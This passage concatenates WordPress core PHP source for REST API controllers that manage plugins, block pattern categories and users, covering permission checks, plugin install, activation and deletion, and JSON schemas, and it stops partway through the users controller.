	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		require_once ABSPATH . 'wp-admin/includes/plugin.php';

		$data = $this->get_plugin_data( $request['plugin'] );

		if ( is_wp_error( $data ) ) {
			return $data;
		}

		return $this->prepare_item_for_response( $data, $request );
	}

	/**
	 * Checks if the given plugin can be viewed by the current user.
	 *
	 * On multisite, this hides non-active network only plugins if the user does not have permission
	 * to manage network plugins.
	 *
	 * @since 5.5.0
	 *
	 * @param string $plugin The plugin file to check.
	 * @return true|WP_Error True if can read, a WP_Error instance otherwise.
	 */
	protected function check_read_permission( $plugin ) {
		require_once ABSPATH . 'wp-admin/includes/plugin.php';

		if ( ! $this->is_plugin_installed( $plugin ) ) {
			return new WP_Error( 'rest_plugin_not_found', __( 'Plugin not found.' ), array( 'status' => 404 ) );
		}

		if ( ! is_multisite() ) {
			return true;
		}

		if ( ! is_network_only_plugin( $plugin ) || is_plugin_active( $plugin ) || current_user_can( 'manage_network_plugins' ) ) {
			return true;
		}

		return new WP_Error(
			'rest_cannot_view_plugin',
			__( 'Sorry, you are not allowed to manage this plugin.' ),
			array( 'status' => rest_authorization_required_code() )
		);
	}

	/**
	 * Checks if a given request has access to upload plugins.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise.
	 */
	public function create_item_permissions_check( $request ) {
		if ( ! current_user_can( 'install_plugins' ) ) {
			return new WP_Error(
				'rest_cannot_install_plugin',
				__( 'Sorry, you are not allowed to install plugins on this site.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( 'inactive' !== $request['status'] && ! current_user_can( 'activate_plugins' ) ) {
			return new WP_Error(
				'rest_cannot_activate_plugin',
				__( 'Sorry, you are not allowed to activate plugins.' ),
				array(
					'status' => rest_authorization_required_code(),
				)
			);
		}

		return true;
	}

	/**
	 * Uploads a plugin and optionally activates it.
	 *
	 * @since 5.5.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		global $wp_filesystem;

		require_once ABSPATH . 'wp-admin/includes/file.php';
		require_once ABSPATH . 'wp-admin/includes/plugin.php';
		require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
		require_once ABSPATH . 'wp-admin/includes/plugin-install.php';

		$slug = $request['slug'];

		// Verify filesystem is accessible first.
		$filesystem_available = $this->is_filesystem_available();
		if ( is_wp_error( $filesystem_available ) ) {
			return $filesystem_available;
		}

		$api = plugins_api(
			'plugin_information',
			array(
				'slug'   => $slug,
				'fields' => array(
					'sections'       => false,
					'language_packs' => true,
				),
			)
		);

		if ( is_wp_error( $api ) ) {
			if ( str_contains( $api->get_error_message(), 'Plugin not found.' ) ) {
				$api->add_data( array( 'status' => 404 ) );
			} else {
				$api->add_data( array( 'status' => 500 ) );
			}

			return $api;
		}

		$skin     = new WP_Ajax_Upgrader_Skin();
		$upgrader = new Plugin_Upgrader( $skin );

		$result = $upgrader->install( $api->download_link );

		if ( is_wp_error( $result ) ) {
			$result->add_data( array( 'status' => 500 ) );

			return $result;
		}

		// This should be the same as $result above.
		if ( is_wp_error( $skin->result ) ) {
			$skin->result->add_data( array( 'status' => 500 ) );

			return $skin->result;
		}

		if ( $skin->get_errors()->has_errors() ) {
			$error = $skin->get_errors();
			$error->add_data( array( 'status' => 500 ) );

			return $error;
		}

		if ( is_null( $result ) ) {
			// Pass through the error from WP_Filesystem if one was raised.
			if ( $wp_filesystem instanceof WP_Filesystem_Base
				&& is_wp_error( $wp_filesystem->errors ) && $wp_filesystem->errors->has_errors()
			) {
				return new WP_Error(
					'unable_to_connect_to_filesystem',
					$wp_filesystem->errors->get_error_message(),
					array( 'status' => 500 )
				);
			}

			return new WP_Error(
				'unable_to_connect_to_filesystem',
				__( 'Unable to connect to the filesystem. Please confirm your credentials.' ),
				array( 'status' => 500 )
			);
		}

		$file = $upgrader->plugin_info();

		if ( ! $file ) {
			return new WP_Error(
				'unable_to_determine_installed_plugin',
				__( 'Unable to determine what plugin was installed.' ),
				array( 'status' => 500 )
			);
		}

		if ( 'inactive' !== $request['status'] ) {
			$can_change_status = $this->plugin_status_permission_check( $file, $request['status'], 'inactive' );

			if ( is_wp_error( $can_change_status ) ) {
				return $can_change_status;
			}

			$changed_status = $this->handle_plugin_status( $file, $request['status'], 'inactive' );

			if ( is_wp_error( $changed_status ) ) {
				return $changed_status;
			}
		}

		// Install translations.
		$installed_locales = array_values( get_available_languages() );
		/** This filter is documented in wp-includes/update.php */
		$installed_locales = apply_filters( 'plugins_update_check_locales', $installed_locales );

		$language_packs = array_map(
			static function ( $item ) {
				return (object) $item;
			},
			$api->language_packs
		);

		$language_packs = array_filter(
			$language_packs,
			static function ( $pack ) use ( $installed_locales ) {
				return in_array( $pack->language, $installed_locales, true );
			}
		);

		if ( $language_packs ) {
			$lp_upgrader = new Language_Pack_Upgrader( $skin );

			// Install all applicable language packs for the plugin.
			$lp_upgrader->bulk_upgrade( $language_packs );
		}

		$path          = WP_PLUGIN_DIR . '/' . $file;
		$data          = get_plugin_data( $path, false, false );
		$data['_file'] = $file;

		$response = $this->prepare_item_for_response( $data, $request );
		$response->set_status( 201 );
		$response->header( 'Location', rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, substr( $file, 0, - 4 ) ) ) );

		return $response;
	}

	/**
	 * Checks if a given request has access to update a specific plugin.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise.
	 */
	public function update_item_permissions_check( $request ) {
		require_once ABSPATH . 'wp-admin/includes/plugin.php';

		if ( ! current_user_can( 'activate_plugins' ) ) {
			return new WP_Error(
				'rest_cannot_manage_plugins',
				__( 'Sorry, you are not allowed to manage plugins for this site.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		$can_read = $this->check_read_permission( $request['plugin'] );

		if ( is_wp_error( $can_read ) ) {
			return $can_read;
		}

		$status = $this->get_plugin_status( $request['plugin'] );

		if ( $request['status'] && $status !== $request['status'] ) {
			$can_change_status = $this->plugin_status_permission_check( $request['plugin'], $request['status'], $status );

			if ( is_wp_error( $can_change_status ) ) {
				return $can_change_status;
			}
		}

		return true;
	}

	/**
	 * Updates one plugin.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function update_item( $request ) {
		require_once ABSPATH . 'wp-admin/includes/plugin.php';

		$data = $this->get_plugin_data( $request['plugin'] );

		if ( is_wp_error( $data ) ) {
			return $data;
		}

		$status = $this->get_plugin_status( $request['plugin'] );

		if ( $request['status'] && $status !== $request['status'] ) {
			$handled = $this->handle_plugin_status( $request['plugin'], $request['status'], $status );

			if ( is_wp_error( $handled ) ) {
				return $handled;
			}
		}

		$this->update_additional_fields_for_object( $data, $request );

		$request['context'] = 'edit';

		return $this->prepare_item_for_response( $data, $request );
	}

	/**
	 * Checks if a given request has access to delete a specific plugin.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise.
	 */
	public function delete_item_permissions_check( $request ) {
		if ( ! current_user_can( 'activate_plugins' ) ) {
			return new WP_Error(
				'rest_cannot_manage_plugins',
				__( 'Sorry, you are not allowed to manage plugins for this site.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( ! current_user_can( 'delete_plugins' ) ) {
			return new WP_Error(
				'rest_cannot_manage_plugins',
				__( 'Sorry, you are not allowed to delete plugins for this site.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		$can_read = $this->check_read_permission( $request['plugin'] );

		if ( is_wp_error( $can_read ) ) {
			return $can_read;
		}

		return true;
	}

	/**
	 * Deletes one plugin from the site.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		require_once ABSPATH . 'wp-admin/includes/file.php';
		require_once ABSPATH . 'wp-admin/includes/plugin.php';

		$data = $this->get_plugin_data( $request['plugin'] );

		if ( is_wp_error( $data ) ) {
			return $data;
		}

		if ( is_plugin_active( $request['plugin'] ) ) {
			return new WP_Error(
				'rest_cannot_delete_active_plugin',
				__( 'Cannot delete an active plugin. Please deactivate it first.' ),
				array( 'status' => 400 )
			);
		}

		$filesystem_available = $this->is_filesystem_available();
		if ( is_wp_error( $filesystem_available ) ) {
			return $filesystem_available;
		}

		$prepared = $this->prepare_item_for_response( $data, $request );
		$deleted  = delete_plugins( array( $request['plugin'] ) );

		if ( is_wp_error( $deleted ) ) {
			$deleted->add_data( array( 'status' => 500 ) );

			return $deleted;
		}

		return new WP_REST_Response(
			array(
				'deleted'  => true,
				'previous' => $prepared->get_data(),
			)
		);
	}

	/**
	 * Prepares the plugin for the REST response.
	 *
	 * @since 5.5.0
	 *
	 * @param array           $item    Unmarked up and untranslated plugin data from {@see get_plugin_data()}.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function prepare_item_for_response( $item, $request ) {
		$fields = $this->get_fields_for_response( $request );

		$item   = _get_plugin_data_markup_translate( $item['_file'], $item, false );
		$marked = _get_plugin_data_markup_translate( $item['_file'], $item, true );

		$data = array(
			'plugin'       => substr( $item['_file'], 0, - 4 ),
			'status'       => $this->get_plugin_status( $item['_file'] ),
			'name'         => $item['Name'],
			'plugin_uri'   => $item['PluginURI'],
			'author'       => $item['Author'],
			'author_uri'   => $item['AuthorURI'],
			'description'  => array(
				'raw'      => $item['Description'],
				'rendered' => $marked['Description'],
			),
			'version'      => $item['Version'],
			'network_only' => $item['Network'],
			'requires_wp'  => $item['RequiresWP'],
			'requires_php' => $item['RequiresPHP'],
			'textdomain'   => $item['TextDomain'],
		);

		$data = $this->add_additional_fields_to_object( $data, $request );

		$response = new WP_REST_Response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_links( $this->prepare_links( $item ) );
		}

		/**
		 * Filters plugin data for a REST API response.
		 *
		 * @since 5.5.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param array            $item     The plugin item from {@see get_plugin_data()}.
		 * @param WP_REST_Request  $request  The request object.
		 */
		return apply_filters( 'rest_prepare_plugin', $response, $item, $request );
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 5.5.0
	 *
	 * @param array $item The plugin item.
	 * @return array[]
	 */
	protected function prepare_links( $item ) {
		return array(
			'self' => array(
				'href' => rest_url(
					sprintf(
						'%s/%s/%s',
						$this->namespace,
						$this->rest_base,
						substr( $item['_file'], 0, - 4 )
					)
				),
			),
		);
	}

	/**
	 * Gets the plugin header data for a plugin.
	 *
	 * @since 5.5.0
	 *
	 * @param string $plugin The plugin file to get data for.
	 * @return array|WP_Error The plugin data, or a WP_Error if the plugin is not installed.
	 */
	protected function get_plugin_data( $plugin ) {
		$plugins = get_plugins();

		if ( ! isset( $plugins[ $plugin ] ) ) {
			return new WP_Error( 'rest_plugin_not_found', __( 'Plugin not found.' ), array( 'status' => 404 ) );
		}

		$data          = $plugins[ $plugin ];
		$data['_file'] = $plugin;

		return $data;
	}

	/**
	 * Get's the activation status for a plugin.
	 *
	 * @since 5.5.0
	 *
	 * @param string $plugin The plugin file to check.
	 * @return string Either 'network-active', 'active' or 'inactive'.
	 */
	protected function get_plugin_status( $plugin ) {
		if ( is_plugin_active_for_network( $plugin ) ) {
			return 'network-active';
		}

		if ( is_plugin_active( $plugin ) ) {
			return 'active';
		}

		return 'inactive';
	}

	/**
	 * Handle updating a plugin's status.
	 *
	 * @since 5.5.0
	 *
	 * @param string $plugin         The plugin file to update.
	 * @param string $new_status     The plugin's new status.
	 * @param string $current_status The plugin's current status.
	 * @return true|WP_Error
	 */
	protected function plugin_status_permission_check( $plugin, $new_status, $current_status ) {
		if ( is_multisite() && ( 'network-active' === $current_status || 'network-active' === $new_status ) && ! current_user_can( 'manage_network_plugins' ) ) {
			return new WP_Error(
				'rest_cannot_manage_network_plugins',
				__( 'Sorry, you are not allowed to manage network plugins.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( ( 'active' === $new_status || 'network-active' === $new_status ) && ! current_user_can( 'activate_plugin', $plugin ) ) {
			return new WP_Error(
				'rest_cannot_activate_plugin',
				__( 'Sorry, you are not allowed to activate this plugin.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( 'inactive' === $new_status && ! current_user_can( 'deactivate_plugin', $plugin ) ) {
			return new WP_Error(
				'rest_cannot_deactivate_plugin',
				__( 'Sorry, you are not allowed to deactivate this plugin.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Handle updating a plugin's status.
	 *
	 * @since 5.5.0
	 *
	 * @param string $plugin         The plugin file to update.
	 * @param string $new_status     The plugin's new status.
	 * @param string $current_status The plugin's current status.
	 * @return true|WP_Error
	 */
	protected function handle_plugin_status( $plugin, $new_status, $current_status ) {
		if ( 'inactive' === $new_status ) {
			deactivate_plugins( $plugin, false, 'network-active' === $current_status );

			return true;
		}

		if ( 'active' === $new_status && 'network-active' === $current_status ) {
			return true;
		}

		$network_activate = 'network-active' === $new_status;

		if ( is_multisite() && ! $network_activate && is_network_only_plugin( $plugin ) ) {
			return new WP_Error(
				'rest_network_only_plugin',
				__( 'Network only plugin must be network activated.' ),
				array( 'status' => 400 )
			);
		}

		$activated = activate_plugin( $plugin, '', $network_activate );

		if ( is_wp_error( $activated ) ) {
			$activated->add_data( array( 'status' => 500 ) );

			return $activated;
		}

		return true;
	}

	/**
	 * Checks that the "plugin" parameter is a valid path.
	 *
	 * @since 5.5.0
	 *
	 * @param string $file The plugin file parameter.
	 * @return bool
	 */
	public function validate_plugin_param( $file ) {
		if ( ! is_string( $file ) || ! preg_match( '/' . self::PATTERN . '/u', $file ) ) {
			return false;
		}

		$validated = validate_file( plugin_basename( $file ) );

		return 0 === $validated;
	}

	/**
	 * Sanitizes the "plugin" parameter to be a proper plugin file with ".php" appended.
	 *
	 * @since 5.5.0
	 *
	 * @param string $file The plugin file parameter.
	 * @return string
	 */
	public function sanitize_plugin_param( $file ) {
		return plugin_basename( sanitize_text_field( $file . '.php' ) );
	}

	/**
	 * Checks if the plugin matches the requested parameters.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request The request to require the plugin matches against.
	 * @param array           $item    The plugin item.
	 * @return bool
	 */
	protected function does_plugin_match_request( $request, $item ) {
		$search = $request['search'];

		if ( $search ) {
			$matched_search = false;

			foreach ( $item as $field ) {
				if ( is_string( $field ) && str_contains( strip_tags( $field ), $search ) ) {
					$matched_search = true;
					break;
				}
			}

			if ( ! $matched_search ) {
				return false;
			}
		}

		$status = $request['status'];

		if ( $status && ! in_array( $this->get_plugin_status( $item['_file'] ), $status, true ) ) {
			return false;
		}

		return true;
	}

	/**
	 * Checks if the plugin is installed.
	 *
	 * @since 5.5.0
	 *
	 * @param string $plugin The plugin file.
	 * @return bool
	 */
	protected function is_plugin_installed( $plugin ) {
		return file_exists( WP_PLUGIN_DIR . '/' . $plugin );
	}

	/**
	 * Determine if the endpoints are available.
	 *
	 * Only the 'Direct' filesystem transport, and SSH/FTP when credentials are stored are supported at present.
	 *
	 * @since 5.5.0
	 *
	 * @return true|WP_Error True if filesystem is available, WP_Error otherwise.
	 */
	protected function is_filesystem_available() {
		$filesystem_method = get_filesystem_method();

		if ( 'direct' === $filesystem_method ) {
			return true;
		}

		ob_start();
		$filesystem_credentials_are_stored = request_filesystem_credentials( self_admin_url() );
		ob_end_clean();

		if ( $filesystem_credentials_are_stored ) {
			return true;
		}

		return new WP_Error( 'fs_unavailable', __( 'The filesystem is currently unavailable for managing plugins.' ), array( 'status' => 500 ) );
	}

	/**
	 * Retrieves the plugin's schema, conforming to JSON Schema.
	 *
	 * @since 5.5.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$this->schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'plugin',
			'type'       => 'object',
			'properties' => array(
				'plugin'       => array(
					'description' => __( 'The plugin file.' ),
					'type'        => 'string',
					'pattern'     => self::PATTERN,
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'status'       => array(
					'description' => __( 'The plugin activation status.' ),
					'type'        => 'string',
					'enum'        => is_multisite() ? array( 'inactive', 'active', 'network-active' ) : array( 'inactive', 'active' ),
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'name'         => array(
					'description' => __( 'The plugin name.' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'plugin_uri'   => array(
					'description' => __( 'The plugin\'s website address.' ),
					'type'        => 'string',
					'format'      => 'uri',
					'readonly'    => true,
					'context'     => array( 'view', 'edit' ),
				),
				'author'       => array(
					'description' => __( 'The plugin author.' ),
					'type'        => 'object',
					'readonly'    => true,
					'context'     => array( 'view', 'edit' ),
				),
				'author_uri'   => array(
					'description' => __( 'Plugin author\'s website address.' ),
					'type'        => 'string',
					'format'      => 'uri',
					'readonly'    => true,
					'context'     => array( 'view', 'edit' ),
				),
				'description'  => array(
					'description' => __( 'The plugin description.' ),
					'type'        => 'object',
					'readonly'    => true,
					'context'     => array( 'view', 'edit' ),
					'properties'  => array(
						'raw'      => array(
							'description' => __( 'The raw plugin description.' ),
							'type'        => 'string',
						),
						'rendered' => array(
							'description' => __( 'The plugin description formatted for display.' ),
							'type'        => 'string',
						),
					),
				),
				'version'      => array(
					'description' => __( 'The plugin version number.' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit' ),
				),
				'network_only' => array(
					'description' => __( 'Whether the plugin can only be activated network-wide.' ),
					'type'        => 'boolean',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'requires_wp'  => array(
					'description' => __( 'Minimum required version of WordPress.' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'requires_php' => array(
					'description' => __( 'Minimum required version of PHP.' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'textdomain'   => array(
					'description' => __( 'The plugin\'s text domain.' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit' ),
				),
			),
		);

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the query params for the collections.
	 *
	 * @since 5.5.0
	 *
	 * @return array Query parameters for the collection.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();

		$query_params['context']['default'] = 'view';

		$query_params['status'] = array(
			'description' => __( 'Limits results to plugins with the given status.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'string',
				'enum' => is_multisite() ? array( 'inactive', 'active', 'network-active' ) : array( 'inactive', 'active' ),
			),
		);

		unset( $query_params['page'], $query_params['per_page'] );

		return $query_params;
	}
}
<?php
/**
 * REST API: WP_REST_Block_Pattern_Categories_Controller class
 *
 * @package    WordPress
 * @subpackage REST_API
 * @since      6.0.0
 */

/**
 * Core class used to access block pattern categories via the REST API.
 *
 * @since 6.0.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Block_Pattern_Categories_Controller extends WP_REST_Controller {

	/**
	 * Constructs the controller.
	 *
	 * @since 6.0.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'block-patterns/categories';
	}

	/**
	 * Registers the routes for the objects of the controller.
	 *
	 * @since 6.0.0
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks whether a given request has permission to read block patterns.
	 *
	 * @since 6.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		if ( current_user_can( 'edit_posts' ) ) {
			return true;
		}

		foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) {
			if ( current_user_can( $post_type->cap->edit_posts ) ) {
				return true;
			}
		}

		return new WP_Error(
			'rest_cannot_view',
			__( 'Sorry, you are not allowed to view the registered block pattern categories.' ),
			array( 'status' => rest_authorization_required_code() )
		);
	}

	/**
	 * Retrieves all block pattern categories.
	 *
	 * @since 6.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_Error|WP_REST_Response Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		$response   = array();
		$categories = WP_Block_Pattern_Categories_Registry::get_instance()->get_all_registered();
		foreach ( $categories as $category ) {
			$prepared_category = $this->prepare_item_for_response( $category, $request );
			$response[]        = $this->prepare_response_for_collection( $prepared_category );
		}

		return rest_ensure_response( $response );
	}

	/**
	 * Prepare a raw block pattern category before it gets output in a REST API response.
	 *
	 * @since 6.0.0
	 *
	 * @param array           $item    Raw category as registered, before any changes.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function prepare_item_for_response( $item, $request ) {
		$fields = $this->get_fields_for_response( $request );
		$keys   = array( 'name', 'label', 'description' );
		$data   = array();
		foreach ( $keys as $key ) {
			if ( isset( $item[ $key ] ) && rest_is_field_included( $key, $fields ) ) {
				$data[ $key ] = $item[ $key ];
			}
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		return rest_ensure_response( $data );
	}

	/**
	 * Retrieves the block pattern category schema, conforming to JSON Schema.
	 *
	 * @since 6.0.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'block-pattern-category',
			'type'       => 'object',
			'properties' => array(
				'name'        => array(
					'description' => __( 'The category name.' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'label'       => array(
					'description' => __( 'The category label, in human readable format.' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'description' => array(
					'description' => __( 'The category description, in human readable format.' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
			),
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}
}
<?php
/**
 * REST API: WP_REST_Users_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class used to manage users via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Users_Controller extends WP_REST_Controller {

	/**
	 * Instance of a user meta fields object.
	 *
	 * @since 4.7.0
	 * @var WP_REST_User_Meta_Fields
	 */
	protected $meta;

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'users';

		$this->meta = new WP_REST_User_Meta_Fields();
	}

	/**
	 * Registers the routes for users.
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				array(
					'methods'             => WP_REST_Server::CREATABLE,
					'callback'            => array( $this, 'create_item' ),
					'permission_callback' => array( $this, 'create_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::CREATABLE ),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<id>[\d]+)',
			array(
				'args'   => array(
					'id' => array(
						'description' => __( 'Unique identifier for the user.' ),
						'type'        => 'integer',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				array(
					'methods'             => WP_REST_Server::EDITABLE,
					'callback'            => array( $this, 'update_item' ),
					'permission_callback' => array( $this, 'update_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				),
				array(
					'methods'             => WP_REST_Server::DELETABLE,
					'callback'            => array( $this, 'delete_item' ),
					'permission_callback' => array( $this, 'delete_item_permissions_check' ),
					'args'                => array(
						'force'    => array(
							'type'        => 'boolean',
							'default'     => false,
							'description' => __( 'Required to be true, as users do not support trashing.' ),
						),
						'reassign' => array(
							'type'              => 'integer',
							'description'       => __( 'Reassign the deleted user\'s posts and links to this user ID.' ),
							'required'          => true,
							'sanitize_callback' => array( $this, 'check_reassign' ),
						),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/me',
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'permission_callback' => '__return_true',
					'callback'            => array( $this, 'get_current_item' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				array(
					'methods'             => WP_REST_Server::EDITABLE,
					'callback'            => array( $this, 'update_current_item' ),
					'permission_callback' => array( $this, 'update_current_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				),
				array(
					'methods'             => WP_REST_Server::DELETABLE,
					'callback'            => array( $this, 'delete_current_item' ),
					'permission_callback' => array( $this, 'delete_current_item_permissions_check' ),
					'args'                => array(
						'force'    => array(
							'type'        => 'boolean',
							'default'     => false,
							'description' => __( 'Required to be true, as users do not support trashing.' ),
						),
						'reassign' => array(
							'type'              => 'integer',
							'description'       => __( 'Reassign the deleted user\'s posts and links to this user ID.' ),
							'required'          => true,
							'sanitize_callback' => array( $this, 'check_reassign' ),
						),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks for a valid value for the reassign parameter when deleting users.
	 *
	 * The value can be an integer, 'false', false, or ''.
	 *
	 * @since 4.7.0
	 *
	 * @param int|bool        $value   The value passed to the reassign parameter.
	 * @param WP_REST_Request $request Full details about the request.
	 * @param string          $param   The parameter that is being sanitized.
	 * @return int|bool|WP_Error
	 */
	public function check_reassign( $value, $request, $param ) {
		if ( is_numeric( $value ) ) {
			return $value;
		}

		if ( empty( $value ) || false === $value || 'false' === $value ) {
			return false;
		}

		return new WP_Error(
			'rest_invalid_param',
			__( 'Invalid user parameter(s).' ),
			array( 'status' => 400 )
		);
	}

	/**
	 * Permissions check for getting all users.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, otherwise WP_Error object.
	 */
	public function get_items_permissions_check( $request ) {
		// Check if roles is specified in GET request and if user can list users.
		if ( ! empty( $request['roles'] ) && ! current_user_can( 'list_users' ) ) {
			return new WP_Error(
				'rest_user_cannot_view',
				__( 'Sorry, you are not allowed to filter users by role.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		// Check if capabilities is specified in GET request and if user can list users.
		if ( ! empty( $request['capabilities'] ) && ! current_user_can( 'list_users' ) ) {
			return new WP_Error(
				'rest_user_cannot_view',
				__( 'Sorry, you are not allowed to filter users by capability.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( 'edit' === $request['context'] && ! current_user_can( 'list_users' ) ) {
			return new WP_Error(
				'rest_forbidden_context',
				__( 'Sorry, you are not allowed to list users.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( in_array( $request['orderby'], array( 'email', 'registered_date' ), true ) && ! current_user_can( 'list_users' ) ) {
			return new WP_Error(
				'rest_forbidden_orderby',
				__( 'Sorry, you are not allowed to order users by this parameter.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( 'authors' === $request['who'] ) {
			$types = get_post_types( array( 'show_in_rest' => true ), 'objects' );

			foreach ( $types as $type ) {
				if ( post_type_supports( $type->name, 'author' )
					&& current_user_can( $type->cap->edit_posts ) ) {
					return true;
				}
			}

			return new WP_Error(
				'rest_forbidden_who',
				__( 'Sorry, you are not allowed to query users by this parameter.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Retrieves all users.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {

		// Retrieve the list of registered collection query parameters.
		$registered = $this->get_collection_params();

		/*
		 * This array defines mappings between public API query parameters whose
